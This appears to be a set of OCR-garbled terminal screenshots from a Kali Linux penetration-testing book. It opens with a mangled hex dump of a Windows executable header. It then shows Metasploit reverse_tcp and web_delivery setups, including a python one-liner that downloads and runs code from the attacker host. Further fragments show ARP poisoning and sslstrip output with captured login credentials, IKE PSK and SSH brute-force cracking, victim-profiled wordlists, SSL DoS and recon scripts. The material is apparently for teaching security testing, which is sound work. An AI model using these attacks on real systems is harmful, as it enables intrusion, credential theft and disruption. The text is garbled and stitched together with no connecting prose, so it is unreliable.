&HOO&HOO0&HO0&HO0&HO0&HO0&H00&H00&HO00&H00&H00&H00&H00&H00&HE00&H00&H00&H00&H00&HO
&HB0&HO00&H00&HO0&HOE&H1F&HBAGHOE&HO0&HB4&H09&HCD&H21 4HB8&H01 &H4C&HCD&H21 &H54&H6
&H69&H73&H20&H70&H72&H6F&H67 &H72&H61&H6D&H20&H63&H61 4H6ESHOGESH6F&H74&H205H628H6.
&H20&H72&H75&H6E&H20&H69&H6E&H20&H44&H4F&H538H20&H6D&H6F&H64&H65&H2E&HOD&HOD&HO,
&H24&H00&H00&H00&H00&H00&H00&H00&H50&H458H00&H00&H4C&H01 8H03&H00&HC1 SHBF&H6ASHB
&HOO0&HO0&HO0&HO0&HO0&HO0&H00&H00&HEO&HO0&HOF&H03&HOB&HO1&H02&H38&H00&H02&B00&H0
&HOO&HOE&H00&HO00&H00&H00&H00&H00&H00&H1 0&H00&H00&H00&H10&H00&H00&H00&H20&H00&HO0
&HOO&HOO&H40&HO0&HO0&H10&H00&H00&H00&H025H00&H00&H04 &H00&H00&H00 &H01 &H00&H00&HO
&H04&H00&H00&H00&H00&H00&H00&H00&H00&H40&H00&H00&H00&H02&H00&H00&H46&H3A&H00&HO
&HO02&HO00&HO0&HO0&HO0&H00&H20&H00&H00&H10&H00&H00&H00&H00&H10&H00&H00&H10&H00&HO
&HO0&HO0&H00&HO00&H10&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H30&H00&HO!
&H64&H00&H00&H00&HO0&H00&H00&H00&H00&HE00&H00&H00&H00&H00&H00&H00&H00&H00&H00&HO
&HOO&HOO&HO0&HO0&HO0&HO0&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&HO
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nmap -sS -0 target.com
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use exploit/multi/handler

set lhost 192.168.43.130

set lport 4444

set payload windows/meterpreter/reverse_tcp
set autorunscript migrate -n explorer.exe
exploit
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root@kali:~# masscan 192.168.0.6/24 -p80 --banners

Starting masscan 1.8.3 (http://bit.ly/14GZzcT) at -2017-82-25:17:04:01 GMT

-- forced options: -sS -Pnm -n i--randomize-hosts -v --send+eth
Initiating SYN Stealth Scan
Scanning 256 ‘hosts <[1, port/host]
Discovered open port 88/tcpion 192.168.0.145
Discovered open port 88/tcp on 192.168.6.129
Discovered open port 80/tcp on 192.168.60.1
Discovered open port 88/tcpion 192.168.68.128
Banner on port 86/tcp on 192.168.8.129: -[http] HTTP/1.1 280 OK\x8d\xBaContent-Type: text/html\x8d\x8alast-Modifi
ed: Thu, 12 Jan 2017 66:30:08 GMT\x8d\xBaAccept-Ranges: -bytes\x8d\x0aETag: \x226eB8e266b6cd21:08\x22\x8d\xBaServer|
: Microsoft-IIS/7.5\x0d\x0aX-Powered-By: ASP.NET\x@d\x0aDate: Sat, 25 Feb 2017 17:06:01 GMT\x0d\xBaConnection: c
lose\xBd\xBaContent-Length: 1116928\x8d\xB8a\x0d
Banner on port 88/tcp on 192.168.6.145: [http] HTTP/1.1 2808 OK\xBd\x8aContent-Type: text/html\x8d\xBalLast-Modifi
ed: Thu, 12 Jan 20817 08:308:08 GMT\x8d\xBaAccept-Ranges: bytes\x8d\xBaETag: \x228e8e266b6cd21:08\x22\xBd\x8aServer]
: Microsoft-IIS/7.5\x8d\xBaX-Powered-By: ASP.NET\x8d\xBaDate: Sat, 25 Feb 2017 17:86:01 GMT\xBd\xBaConnection: c|
lose\xBd\x8aContent-Length: 1116928\x8d\xB8a\x8d
Banner on port 868/tcp on 192.168.8.128: [http] HTTP/1.8 484 Not Found\x8d\xBa\x8d
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use exploit/windows

set SRVHOST 192.168.0.124
set LHOST 192.168.0.124
set URIPATH boom

exploit
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Home Documentation Configuration Examples Wiki Mailing Lists Find Help
Apache Tomcat/7.0.32 Wthe Software Foundation

http://www.apache.org/

It you're seeing this, you've successtully installed Tomcat. Congratulations!

™  Recommended Reading: Sorver Status
% Security Considerations HOW-TO
; Manager Application HOW-TO MJ
Clu ion Replication HOW-TO Ao incasac )
Developer Quick Start
Tomeat Setup Bealms & AAS Exampiles Serdet Specifications
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root@kali:~# msfconsole -q -r psh.rc

[*] Processing psh.rc for ERB directives.

resource (psh.rc)> use exploit/multi/script/web_delivery
resource (psh.rc)> set SRVHOST 192.168.0.124

SRVHOST => 192.168.0.124

resource (psh.rc)> set URIPATH boom

URIPATH => boom

resource (psh.rc)> set LHOST 192.168.0.124

LHOST => 192.168.0.124

resource (psh.rc)> exploit

[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.0.124:4444

[*] Using URL: http://192.168.0.124:8080/boom

[*] server started.

[*] Run the following command on the target machine:

python -c "import urllib2; r = urllib2.urlopen('http://192.168.0.124:8080/boom'); exec(r.read());"
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root@kali:~# ifconfig
eth@:. flags=4163<UP,BROADCAST, RUNNING, MULTICAST> mtu 1508
inet 10.10.115.188 netmask 255.255.248.8 broadcast 16.16.127.255

inet6 feB@::a634:d9ff:fePa:b93c prefixlen 64 scopeid Bx28<link>
ether a4:34:d9:0a:b9:3c txqueuelen 1888 (Ethernet)

RX packets 536415 bytes 761467623 (726.1 MiB)
RX errors 8 dropped 8 overruns @ frame 8

TX packets 236433 bytes 14338324 (13.6 MiB)
TX errors 8 dropped O overruns 8 carrier 8 collisions 8
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root@kali: /usr/share/metasploit-framework/tools/exploit# ruby exe2vba.rb
~/attack.exe attack.vbs
[*] Converted 20254 bytes of EXE into a VBA script
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R

Apply a display filter ... <Ctrl-/>

3 -| Expression..  +

No. % [mims Source Destination [Protocol El_ength i Info "
i Number 358698005 CadmusCo_ff:04:71 Broadcast ARP 66 Who has 192.168.0.145? Tell 192..
| 220 85.328726516 192.168.0.166 192.168.0.255 NBNS 92 Name query NB ISATAP<@0>

i 221 85.328734265 192.168.0.129 192.168.0.255 NBNS 92 Name query NB ISATAP<@0>

i 222 85.341873921 CadmusCo_ff:04:71 Broadcast ARP 66 Who has 192.168.0.17 Tell 192.1..

i 223 85.342673730 D-LinkIn_89:f1:be CadmusCo_ff:04:71 ARP 60 192.168.0.1 is at 1c:5f:2b:@9:f..

i 224 85.343447397 CadmusCo_78:77:ca Broadcast ARP 66 Who has 192.168.0.1?7 Tell 192.1..

| 225 85.344107183 D-LinkIn_89:f1:be CadmusCo_78:77:ca ARP 60 192.168.0.1 is at 1c:5F:2b:@9:f..

i 226 85.345747959 fe80::dd11:9afe:af4.. ffe2::16 ICMPV6 90 Multicast Listener Report Messa.

| 227 85.345761971 fe80::3500:6136:49b.. ffe2::16 ICMPVE 90 Multicast Listener Report Messa.

H 228 85.345991325 192.168.0.129 224.0.0.22 IGMPV3 66 Membership Report / Leave group..

5 229 85.345999817 192.168.0.166 224.0.0.22 IGMPV3 60 Membership Report / Leave group..

i 230 85.346084934 192.168.0.166 224.0.0.22 IGMPV3 66 Membership Report / Leave group..

i 231 85.347376527 fe80::dd11:9afe:af4.. ffe, ICMPVE 96 Multicast Listener Report Messa..

i 232 85.347471417 fe80::3500:6136:49b.. ffe ICMPVE 96 Multicast Listener Report Messa..

| 233 85.347597772 192.168.0.129 224.0.0.22 IGMPV3 60 Membership Report / Join group ..

| 234 85.347775464 192.168.0.166 224.8.0.22 IGMPV3 60 Membership Report / Join group ..

i 235 85.348169774 feB80::dd11:9afe:af4.. ffe2::1:3 LLMNR 95 Standard query 8x3ecl ANY metas..
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msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > show options

Module options (exploit/multi/script/web_delivery) :

Name Current Setting Required Description

SRVHOST The local host to listen on. This must be
an address on the local machine or 0.0.0.0

SRVPORT 8080 yes The local port to listen on.

ssL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default
is randomly generated)

URIPATH no The URI to use for this exploit (default
is random)

Payload options (python/meterpreter/reverse_tcp) :

Name Current Setting Required Description

LHOST The listen address
LPORT 4444 The listen port
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NetRange : 96.47.226.16 - 96.47.226.23

CIDR: 96.47.226.16/29
OriginAS:

NetName : TOR-MIAGL
NetHandle: NET-96-47-226-16-1
Parent : NET-96-47-224-0-1
NetType: Reallocated
Comment : =

Comment : This is a Tor Exit Node operated on behalf of the Tor
Comment : Project. Tor helps you defend against network

Comment : surveillance that threatens personal freedom and
Comment :
Comment :
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root@ext-kali:~# ettercap -i eth0 -TgM arp:remote //192.168.1.10// //192.168.1.105/

ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team

Listening on:
eth0 -> 78:AC:CO:A5:DF:A5
192.168.1.10/255.255.255.0
fe80: :7aac:c0ff:fea5:dfa5/64

SSL dissection needs a valid 'redir command on' script in the etter.conf file
Ettercap might not work correctly. /proc/sys/net/ipvé/conf/et‘.hO/use_tempadd.r is not set to 0.
Privileges dropped to EUID 65534 EGID 65534...

33 plugins
42 protocol dissectors
57 ports monitored
20388 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Scanning for merged targets (2 hosts)...
- —_—
1 hosts added to the hosts list...

ARP poisoning victims:
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# proxychains firefox www.whatismyip.com
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HTTP : 74.125.193.84:80 -> USER: ddsslstrip@gmail.con PASS: INFO: http://accounts.google.com/Servicelogin?service=nailSpg
seScontinue=http://mail.google.con/mail/Escc=161 tmpl=defaul t&ltmplcache=26emr
CONTENT: GALX=wpvTUmscdXA&continue=httpis3A%2Fs2Fmail .google. coms2Fnails2Fése rvice=nails rm=falsesl tmpl=defaul tescc=1§_ut f8=A
Se=5%21A01 tAZxNWpyeBOSx fNIJ1819BwIAAAPOUGAAACBGANdUINXSHNALTMLXmYCikTvT_VnCONxvVUQYpGNXCWclLO_07geom_HCAISorGrT7iQtSNEbS6eJJ3:
ZSGO9VURQREAQ reGyZixS2wghCKZBIOMMR - 1899k 7qBZyB6_QSQAW7RACNGaF606BKWTKwSdo_TUGTEYLGFLBOP1 -0t m8BhRWMIogbBXQEVUBVSRaP6Tj cssQLe
dWS0Z_yINSIdryPeeHIMhMTkvnSaKsbogZUsDAoYUBQVLL -6bNT3_Reg§Email=ddsslst rip@gnail .contPasswd=8signIn=Sign+in&PersistentCookie

HTTP : 74.125.193.84:80 ->[USEi ddsslstri ail.com ‘ [PASS:_password75! |

CONTENT : GALX=WpvTUmscdXASLT! PESREZT g YOG e . COMB2r May LB o

INFO: http://accounts.google.com/ServicelLoginAuth
agvice=mailérm=false&ltmpl=defaul t&scc=1& ut f8=5%H






OEBPS/Image00081.jpg
dmitry -winsepo output.txt example.com
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root@ext-kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward
root@ext-kali:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 5353

root@ext-kali:~# sslstrip -1 5353

sslstrip 0.9 by Moxie Marlinspike running...
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root@kali:~# whois cyberhia.com

Whois server Version 2.0

Domain names in the .com and .net domains can noy
with many different competing registrars. Go to 1
for detailed information.

Domain Name: CYBERHIA.COM

Registrar: GODADDY.COM, LLC

Sponsoring Registrar IANA ID: 146

Whois Server: whois.godaddy.com

Referral URL: http://www.godaddy.com

Name Server: NS55.DOMAINCONTROL.COM

Name Server: NS56.DOMATNCONTROL.COM

Status: clientDeleteProhibited https://icann.¢
Status: clientRenewProhibited https://icann.o:
Status: clientTransferProhibited https://icam
Status: clientUpdateProhibited https://icann.c
Updated Date: 22-aug-2015

Creation Date: 22-aug-2015

Expiration Date: 22-aug-2017
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root@kali:~# ettercap -TgM arp:remote /192.168.75.128/ /192.168.75.2/
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root@Kali: ~
File Edit View Search Terminal Help

N\
NN
Sponsored by... IN NN\ NN
I 1 OO AN
// [/ BLACK HILLS \/ \\
www.blackhillsinfosec.com

ng v4.8.3, Tim Tomes (@LaNMaSteR53)]

[recon-ng] [default] > I

ccsassissisis it i,
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root@kali:~# dmitry -winsepo output.txt www.cyberhia.com
Deepmagic Information Gathering Tool
"There be some deep magic going on"

Writing output to 'output.txt'

HostIP:45.113.136.187
HostName :www. cyberhia.com

Gathered Inet-whois information for 45.113.136.187

inetnum:
netname:

descr:

remarks:
remarks:
remarks:
remarks:
remarks:
remarks:
remarks:
remarks:
remarks:
remarks:

45.96.0.0 - 45.127.255.255
NON-RIPE-NCC-MANAGED-ADDRESS-BLOCK
IPv4 address block not managed by the RIPE NCC

You can find the whois server to query, or the
TANA registry to query on this web page:
http://www.iana.org/assignments/ipv4-address-space

You can access databases of other RIRs at:

AFRINIC (Africa)
http://www.afrinic.net/ whois.afrinic.net
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root@kali:~# thc-ssl- dos <IP address> <port>
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[recon-ng] [default] > load recon/profiles-profiles/profiler
[recon-ng] [default] [profiler] > show options

SOURCE default source of input (see 'show info' for details)

[recon-ng] [default] [profiler] > set source cyberhia.com

SOURCE => cyberhia.com

[recon-ng] [default] [profiler] > run

[*] Retrieving https:/ /raw.githubusercontent.cmn/HebBreacher/WhatsMyN’am/master/web_accounts_list.

Looking Up Data For: Cyberhia.Com

[*] Checking: about.me
[*] Checking: AngellList
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SCAN RESULTS FOR 192.168.1.107:443 - 192.168.1.107:443

* peflate Compression:
OK - Compression disabled

* Session Renegotiation:
Client-initiated Renegotiations: OK - Rejected
Secure Renegotiation: OK - Supported

* Certificate - Content:
SHA1l Fingerprint: b0238c547a905bfall9c4e8baccacacf36491££6
Common Name: localhost
Issuer: localhost
Serial Number: B5C752C98781B503
Not Before: Nov 10 23:48:47 2009 eMT
Not After: Nov 8 23:48:47 2019 GMT
Signature Algorithm: shalwithRSAEncryption
Public Key Algorithm: rsaEncryption
Key Size: 1024 bit
Exponent: 65537 (0x10001)

* Certificate - Trust:

Hostname Validation: FATLED Certificate does NOT match 192.168.1.107

Google CA Store (09/2015): FATILED Certificate is NOT Trusted: self signed certificate
Java 6 CA Store (Update 65): FATLED Certificate is NOT Trusted: self signed certificate
Microsoft CA Store (09/2015): FAILED - Certificate is NOT Trusted: self signed certificate
Mozilla NSS CA Store (09/2015): FATLED Certificate is NOT Trusted: self signed certificate
Apple CA Store (OS X 10.10.5): FATLED - Certificate is NOT Trusted: self signed certificate
Certificate Chain Received: ['localhost']
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# service tor start
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root@kali:~# iptables -t nat -A PREROUTING -p tcp
--destination-port 80 -j REDIRECT --to-port <listenport>
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root@kali:~# sslstrip -1 5353
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# Firefox www.whatismyip.com
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root@ext-kal /Desktop# tlssled 192.168.1.101 443

TLSSLed - (1.3) based on sslscan and openssl
by Raul Siles (www.taddong.com)

openssl version: OpenSSL 1.0.2j 26 Sep 2016 (Library: OpenSSL 1.0.2k 26 Jan 2017)

[*] Analyzing SSL/TLS on 192.168.1.101:443 ..
[.]1 Output directory: TLSSLed 1.3 192.168.1.101 443 20170411-132813

[*] Checking if the target service speaks SSL/TLS...
[.] The target service 192.168.1.101:443 seems to speak SSL/TLS...

[.] Using SSL/TLS protocol version:
(empty means I'm using the default openssl protocol version(s))

Running sslscan on 192.168.1.101:443

[-]1 Testing for SSLv2 ...

[-] Testing for the NULL cipher

[-]1 Testing for weak ciphers (based on key length - 40 or 56 bits)

[+] Testing for strong ciphers (based on AES)
Accepted TLSvl. 256 bits ECDHE-RSA-AES256-SHA384 Curve P-256 DHE 256
Accepted TLSvl. 256 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256
Accepted TLSv1. 256 bits DHE-RSA-AES256-GCM-SHA384 DHE 1024 bits
Accepted TLSvl. 256 bits DHE-RSA-AES256-SHA256 DHE 1024 bits
Accepted TLSv1. 256 bits DHE-RSA-AES256-SHA DHE 1024 bits
Accepted TLSvl. 256 bits AES256-GCM-SHA384
Accepted TLSvl. 256 bits AES256-SHA256
Accepted TLSvl. 256 bits AES256-SHA
Accepted TLSvl. 128 bits ECDHE-RSA-AES128-GCM-SHA256 Curve P-256 DHE 256

NRORNNNRNNNN
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# service tor status
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root@kali:~# echo "1" > /proc/sys/net/ipv4/ip forward
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root@kali:~# traceroute www.google.com

traceroute to www.google.com (172.217.24.36), 30 hops max, 60 byte packets
ae2-er-01-glsfb.ni.time.net.my (223.28.26.41) 7.341 ms 7.225 ms 7.196 ms
223.28.2.1 (223.28.2.1) 10.095 ms 16.018 ms 10.050 ms
Bundle-Etherl-br-0l-csfcb.ni.time.net.my (223.28.26.142) 7.039 ms 9.796 ms 9.667 ms
72.14.214.233 (72.14.214.233) 6.708 ms 6.680 ms 9.556 ms

108.170.248.146 (108.170.248.146) 9.439 ms 108.170.248.147 (108.170.248.147) 9.315 ms 108.170.248.130 (108.170.248.1
9.207 ms

209.85.243.113 (209.85.243.113) 45.574 ms 72.14.239.201 (72.14.239.201) 40.452 ms 40.325 ms
72.14.239.66 (72.14.239.66) 42.481 ms 209.85.246.204 (209.85.246.204) 42.519 ms 209.85.246.26 (209.85.246.26) 40.26

8 108.170.241.33 (108.170.241.33) 40.276 ms * *
9 * x x

10 hkg07523-in-£36.1e100.net (172.217.24.36) 154.067 ms 154.085 ms 158.947 ms
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root@kali:~# psk-crack -d rockyou-75.txt psk-hash
Starting psk-crack [ike-scan 1.9.4] (http://www.nta-monitor.com/tools/ike-scan/)

Running in dictionary cracking mode
key "123456" matches SHA1 hash ee33906c3elOcfa3da280ef916cd4158%ecf7e6£7
Ending psk-crack: 1 iterations in 0.000 seconds (17857.14 iterations/sec)
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root@Kali:~# atk6-alive6 eth®
Alive: feBB::14a2:2722:eefB:7b98 [ICMP parameter problem]
Alive: feBO::116e:ed5d:de94:14ef [ICMP parameter problem]

Scanned 1 address and found 2 systems alive
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root@kali:/usr/share/beef-xss# msfvenom -h
MsfVenom - a Metasploit standalone payload gemerator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>

options:
P,

--payload <payload>

payload-options

list [typel
<length>
<format>

help-formats

encoder <encoder>

arch <arch>

platform <platform>

help-platforms

space <length>

encoder-space <length>

bad-chars <list>

iterations  <count>

add-code <path>

template <path>

keep

out <path>

var-name <name>

smallest

--help

Payload to use. Specify a '-' or stdin to use custom payloads
List the payload's standard options

List a module type. Options are: payloads, encoders, nops, all
Prepend a nopsled of [length] size on to the payload

Output format (use --help-formats for a list)

List available formats

The encoder to use

The architecture to use

The platform of the payload

List available platforms

The maximum size of the resulting payload

The maximum size of the encoded payload (defaults to the -s value)
The list of characters to avoid example: '\x00\xff'

The mmber of times to encode the payload

Specify an additional win32 shellcode file to include

Specify a custom executable file to use as a template

Preserve the template behavior and inject the payload as a new thread
save the payload

Specify a custom variable name to use for certain output formats
Generate the smallest possible payload

Show this message
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root@kali:~# ike-scan --pskcrack --aggressive --id=peer 192.168.0.10

Starting ike-scan 1.9.4 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)

192.168.0.10 Aggressive Mode Handshake returned HDR=(CKY-R=b9999b2ae495cfad) SA=(Enc=3DES Hash=SHAl1l Auth=PSK Group=2:mo
dpl1024 LifeType=Seconds LifeDuration(4)=0x00007080) KeyExchange (128 bytes) Nonce (16 bytes) ID(Type=ID IPV4 ADDR, Value=192
.168.0.10) Hash(20 bytes) VID=afcad71368alflc96b8696£c77570100 (Dead Peer Detection v1.0)

IKE PSK parameters (g _xr:g xi:cky r:cky i:sai b:idir b:ni b:nr b:hash r):
fa73cBaebbfa987£9240639e904585£95d43a4b1786681d2cc3b5d7db6d28el116elc8b9347£744ba5cd330d49e62£f0celc208fedle498892136fb2d327
cd377c805b63£595a32be246e9cf9be45af4b06b£40142c7828589£03241c84771b4c5cf62bl2d4el76ae4al10cabe0£0968d8d64e0ce2a614416011d9
edb34e6ad588:4728074b86c77db69250e79cB84cfab5a3a0cB83e6318badbe7feaB59£39e69d02d014f1fad51e29fec41db4b4119b61861d049c98a6471
a4bf27dbcb72bc0dbdbed14288a3b429cbl1f1£fa27bc981£9d79d8fb2£5d1b0789c91b2c8faa3b206cee7d64514£78aa3122d66c304885e101b3ccIc3bb
4001604eal7e4797£23314d0a:b9999b2ae495cfad: 019£71d15aae2¢c8d:00000001000000010000009801010004030000240101000080010005800200
028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c00040000708003000024
0301000080010001800200028003000180040002800b0001000c0004000070800000002404010000800100018002000180030001800400028006000100
0c000400007080:01000000c0a8000a: 7Tb4a3b7155bed5476681b8488ade2652d4943543 :df2e3b66£fcac53£8£049ac205174890c: 96b91b978cl3adc4
££32efa7d92a071241c42dea

Ending ike-scan 1.9.4: 1 hosts scanned in 0.022 seconds (45.06 hosts/sec). 1 returned handshake; 0 returned notify
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:\Users\UB4797%>tracert wwu.google.con

fracing route to www.google.com [172.217.24.1961
lbver a maximum of 38 hops:

4 ms ns loB-ag—61-glsfb.ni.time.net.ny [223.28.08.216]

4 ms ns ae2—er—@l-glsfb.ni.time.net.my [223.28.26.411

8 ms ns 223.28.2.1

6 ms ns Bundle—Etheri-br-@i-csfch.ni.time.net.my [223.28

4
.26.1421

8
236 ms ns 188.170.248.131
48 ms ns 209.85.246.121
38 ms ns 209 .85.242.18
38 ms ns 1@8.170.241.65
18 41 ms ns 289.85.143.119
11 41 ms ns hkg12s13-in—f4.1e1@@.net [172.217.24.1961

ns ns ?2.14.214.233

frace complete.
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root@kali@:~# ike-scan -M -A -Ppsk-hash -d <target>
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root@ali:~# hping3 -S www.google.com -p 80 -c 3

HPING www.google.com (wlan0 216.58.196.196): S set, 40 headers + 0 data bytes

len=44 ip=216.58.196.196 tt1=57 1d=49409 sport=80 flags=SA seq=0 win=42780 rtt=7.7 ms
len=44 ip=216.58.196.196 tt1=56 1d=7723 sport=80 flags=SA seq=1 win=42780 rtt=7.5 ms

len=44 1p=216.58.196.196 tt1=56 1d=7465 sport=80 flags=SA segq=2 win=42780 rtt=7.4 ms

-—— www.google.com hping statistic ——
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg
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root@kali:~# thc-ssl-dos

http://www.thc.org

Twitter @hackerschoice

Greetingz: the french underground

./thc-ssl-dos [options] <ip> <port>
-h help
-1 <n> Limit parallel connections [default:
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root@kali@: ~# nmap -sU -Pn -p 500 <IP Address>
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root@kali:~# dnsrecon -t std -d google.com

[*] Performing General Enumeration of Domain:

[-] DNSSEC is not configured for google.com

[*] SOA ns3.google.com 216.239.36.10

[*1 NS ns2.google.com 216.239.34.10

[-1 Recursion enabled on NS Server 216.239.34.10
[*1 Bind Version for 216.239.34.10 dnsmasq-2.45
[x] NS nsl.google.com 216.239.32.10

[-1 Recursion enabled on NS Server 216.239.32.10
%] Bind Version for 216.239.32.10 dnsmasq-2.45
[*1 NS ns3.google.com 216.239.36.10

[-1 Recursion enabled on NS Server 216.239.36.10
[*1 Bind Version for 216.239.36.10 dnsmasq-2.45
& NS ns4.google.com 216.239.38.10

[-1 Recursion enabled on NS Server 216.239.38.10
[*] Bind Version for 216.239.38.10 dnsmasq-2.45
=1 MX altl.aspmx.l.google.com 74.125.28.26

[*] MX alt4.aspmx.l.google.com 173.194.219.26
=1 MX alt3.aspmx.l.google.com 64.233.182.26
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root@kali:~# ike-scan -M --showbackoff 192.168.0.10
Starting ike-scan 1.9.4 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)

192.168.0.10 Main Mode Handshake returned

HDR= (CKY-R=call4ldl09afcad7)
SA=(Enc=3DES Hash=SHAl1l Auth=PSK Group=2:modpl024 LifeType=Seconds LifeDuration(4)=0x00007080)

VID=4£45755c645c6a795c5¢c6170 (Openswan 2.6.37)
VID=afcad71368alflc96b8696£c77570100 (Dead Peer Detection v1.0)
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root@kali@:~# ike-scan --pskcrack --aggressive --id=peer <target>
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msf auxiliary(smb enumusers) > use auxiliary/scanner/discovery/ipv6l multicast. ping
msf auxiliary(ipv6 multicast_ping) > show options

Module options ((auxiliary/scanner/discovery/ipv6_multicast ping):

Name Current Setting Regquired ' Description

INTERFACE The mname:of! the interface

SHOST no The source IPv6 address

SMAC no The source MAC address

TIMEOUT 5 yes Timeout when: waiting’ for host ‘response.

msf auxiliary(ipv6: multicast_ping) > set interface eth@
interface => eth®
msf auxiliary(ipvé:multicast_ping) > run

[*] Sending multicast pings...

[*] Listening for responses...

[*1 |*| feB@::8e70:5aff:feBc:cc64 => 8c:70:5a:8c:cc:64
[*] |*| feBB::1e5f:2bff:feB9:f1lb6 => 1c:5f:2b:89:f1:b6
[*] |*| feBO::e647:90ff:feb0:420 => e4:47:90:00:04:20
[*] Auxiliary module execution completed

msf auxiliary(ipv6_multicast_ping) > I
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root@kali@:~# ike-scan -M <Target IP>
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root@kali:~# ike-scan -M 192.168.0.10
Starting ike-scan 1.9.4 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)

192.168.0.10 Main Mode Handshake returned

HDR= (CKY-R=2£57c837c52fdb0e)
SA=(Enc=3DES Hash=SHA1l Auth=PSK Group=2:modpl024 LifeType=Seconds LifeDuration (4)=0x00007080)

VID=4£45755c645c6a795c5c6170 (Openswan 2.6.37)
VID=afcad71368alf1c96b8696£c77570100 (Dead Peer Detection v1.0)

1 returned handshake; 0 returned notify

Ending ike-scan 1.9.4: 1 hosts scanned in 0.025 seconds (40.81 hosts/sec).
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root@kali: ipp# python cupp.py -i

[+] Insert the informations about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

First Name: trump

Surname: donald

Nickname: trump

Birthdate (DDMMYYYY): 04081972

Partners) name: trump?2
Partners) nickname: nevermind
Partners) birthdate (DDMMYYYY): 08091980

Child's name: junior
Child's nickname: trumpjunior
Child's birthdate (DDMMYYYY): 07091988

Pet's name: doggy
Company name: something

Do you want to add some key words about the victim? Y/[N]:

Do you want to add special chars at the end of words? Y/[N]:

Do you want to add some random numbers at the end of words? Y/[N]:
Leet mode? (i.e. leet = 1337) Y/[N]: Y

[+] Now making a dictionary...

[+] Sorting list and removing duplicates...

[+] Saving dictionary to trump.txt, counting 8542 words.

[+] Now load your pistolero with trump.txt and shoot! Good luck!
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¢« > C ‘ & Secure | https://www.google.com/search?q=allintext%3Ausemame +filetype%3Alog8iog=allintext33Ausername +filetype%3Alog&ags=chrome. 63i57j69i58.346j07&sourceid=ch

Google ‘ allintext:username filetype-log 4 Q

all News Images Books Videos More Settings Tools

About 8,170 resuits (0.59 seconds)

is_iu_errors.log - Namlifa

www.namlifa.org.my/new/wp-content/uploads/is_iu_errors.log v
BEGIN 2013-01-29 10:03:30 [Line 89] Sorry, that usemname already exists! BEGIN 2013-01-20 10:43:53
[Line 140] Sorry, that usemname already exists!

BEGIN 2013-05-01 00:24:41 [Line 36] Cannot create a user with an ...
www.novarica.com/static/img/is_iu_errors.log

BEGIN 2013-05-30 01:55:19 [Line 1] Sorry, that username already exists! BEGIN 2013-06-17 18:52:02
[Line 1] Sorry, that email address is already used! BEGIN ...

Firefox (1.x->3.x) Passwords: serv - http:/fr-fr.facebook.com email ...

-

BEGIN 2014-05-05 06:26:06 [Line 27] Sorry, that username already ...
traumaprevention.com/wp-content/uploads/is_iu_errors.log

[Line 59] Sorry, that username already exists! [Line 61] Sorry, that username already exists! [Line 69]
Sorry, that email address is already used! [Line 75] Sorry ...

BEGIN 2015-11-12 15:10:11 [Line 3] Sorry, that email address is ...

www.gastonchristian.org/wp-content/uploads/is_iu_errors.log v
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root@kali:~# hydra -L user.lst -V -x 6:8:aAl <IP address> SSH
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bettercap -X -T 192.168.0.135 —--proxy-module injecthtml --html-file
test .htm --allow-local-connections
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root@kali:~# hybra -L user.lst -V -x '6:8:aAl !@#$' <IP address> SSH
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[I] [SSLSTRIP 192.168.0.120] Found redirect to HTTPS ( with cookies ) 'https://login.live.com/login.srf?wa=wsig
v=13&ct=1497262581&rver=6.7.6643.0&wp=MBI_SSL SHARED&wreply=https:%2F%2Fmail.live.com¥2Fdefault.aspx&lc=1033&id
en-us&cbext=mai' -> 'http://wwwww.login.live.com/login.srf?wa=wsigninl.O&rpsnv=13&ct=1497262581&rver=6.7.6643.0

_SHARED&wreply=https:32F%2Fmail.live.com¥2Fdefault.aspx&lc=1033&id=64855amkt=en-us&cbext=mai' .
[I] [SSLSTRIP 192.168.0.120] Stripping 1 HTTPS link inside 'https://hotmail.com/'.
[I] [192.168.0.120 > DNS] Received request for 'wwwww.login.live.com', sending spoofed reply 131.253.61.80
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#!/bin/bash

echo

"Enter target domain:

read domain
[[ $Sdomain != "" ]]; then

if

echo

echo
echo

echo
echo
echo

echo
echo
echo

echo
echo

echo

echo

else

£l

echo

"Target domain set to $domain"

MhkkhkhkhkhkdhkhkhhkhhkhhkhhhbhhhkhdhkhhkhhkhhkhhhdkhbhbhkhdhkhkhhkN

"The Harvestor"

theharvester -d $domain -1 500 -b all -f harvester_S$domain

"done!"

Mhkkkhkhkhhkhhhkhhkhkhkhhhkhkhkhkhkhhhhkhkhbkdhdkhkdkdkhkhkdkhkhkhkhdhkr i

"Whois Details"

whois $domain >> whois_$domain

"done!"

Mikdkhkhhkhkdhhkhkhkhhkhhkhrhrkhhhkhdhkhhkhhk b hkhrhdhkrhkhdhkhkhhdkn

"Searching for txt files on $domain using Goofile..."

goofile -d $domain -f txt >> goofile_txt_S$domain

"done!"

Mhhkkhhkhkhhkhhkhkhhkhkhkhdhhkhkhkhhkhdhhkhh bk dkhkdhkhkhkdkhkhkhkhhhkrk

"Searching for pdf files on $domain using Goofile..."

goofile -d $domain -f pdf >> goofile_pdf_S$domain

"done!"

echo Mhhkhkhhkhkhkhkhkhkhkhhkhkhkhkhkhhkdhkhhkhhkhkhkhkhkhkdkhkdkkhkdrhkrkhkhkkkk

echo "Searching for pdf files on $domain using Goofile..."
goofile -d $domain -f doc >> goofile_doc_S$domain

echo "done!"

echo Mhhkhkhkkhhkhhkhkrhhkhkhkhkhhhhhkhhkhdkhrkhkhkhkdkhkhkrhkhkrhkhkdhkdk W

echo "Searching for pdf files on $domain using Goofile..."
goofile -d $domain -f xls >> goofile_xls_S$domain

echo "done!"

"Error! Please enter a domain... "





OEBPS/Image00298.jpg
